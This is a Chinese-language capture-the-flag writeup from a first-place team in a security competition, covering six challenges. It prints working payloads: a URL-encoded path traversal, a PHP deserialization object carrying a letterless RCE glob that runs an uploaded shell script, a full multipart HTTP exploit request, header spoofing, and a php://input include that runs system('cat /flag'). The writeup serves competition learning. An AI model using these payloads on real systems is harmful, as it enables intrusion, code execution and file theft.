电科院密码保密与信息安全竞赛网络攻防宣传赛 Writeup

一、 战队信息

战队名称:20221214

战队排名:1

二、 解题过程

ctf1

用Winhex打开,最后有一串编码字符,拿去一把梭即可。

ctf2

目录穿越

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag

ctf3

仔细观察可以看到url编码后的SQL注入语句,mid用于截取字符串,当出现welcome admin!说明该字符正确,将正确的字符逐个写入到C脚本变量中,输出得到flag。

c++ 复制代码
char a[] = {102,108,97,103,123,99,49,52,50,54,53,97,53,51,98,101,99,49,56,52,56,98,102,97,99,50,100,102,100,97,51,101,54,54,55,98,99,125};
	cout << a;

ctf4

打开网页,一个简单的反序列化+困难的无字母数字RCE,序列化代码如下:

php 复制代码
class icunqi{
    public $code = "ls";	//要执行的代码
}

$ta = new icunqi();
echo urlencode(serialize($ta));

将得到的一串字符放入 ?code=后即可。

无字母数字RCE可以使用PHP任意文件上传漏洞,即向 PHP 发送 Post 数据包,如果数据包中包含文件,无论 php 代码中有没有处理文件上传的逻辑,php 都会将这个文件保存为一个临时文件:

  • 该文件默认存储在 /tmp 目录中『可通过 php.iniupload_tmp_dir 指定存储位置』
  • 文件名为 php[6个随机字符],例:phpG4ef0q

HTTP请求如下:

http 复制代码
POST /?code=O%3A6%3A%22icunqi%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22%2F%3F%3F%3F%2F%5B%60-%7B%5D%22%3B%7D HTTP/1.1
Host: 39.106.48.123:28692
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Connection: close

-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="file"; filename="test.txt"

#!/bin/sh

whoami
-----------------------------7dbff1ded0714--

在上传文件的同时执行 . /???/????????[@-[ 即可有概率执行 whoami,多尝试几次即可。

随后执行 ls,看到包含flag的文件,cat 即可得到 flag。

ctf5

根据提示,在请求头添加 X-Forward-For:1.1.1.1,得到flag。

ctf6

打开页面,看到提示: flag in cream,打开/cream.php,感觉考察的是代码审计。

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
    die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){
    die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?>

简而言之就是通过 get 可以提交两个变量:filecontent。PHP首先根据 file 为路径打开一个文件,然后把 content 写进去(从文件头开始),之后再执行文件里的代码。

但其实,我尝试了几个 file 都写不进去,于是尝试 php 伪协议,get 参数为?file=php://input,方法改为POST,请求体为 data://text/plain,<?php phpinfo();得到 phpinfo

phpinfo() 改为 system('cat /flag') 即可得到 flag。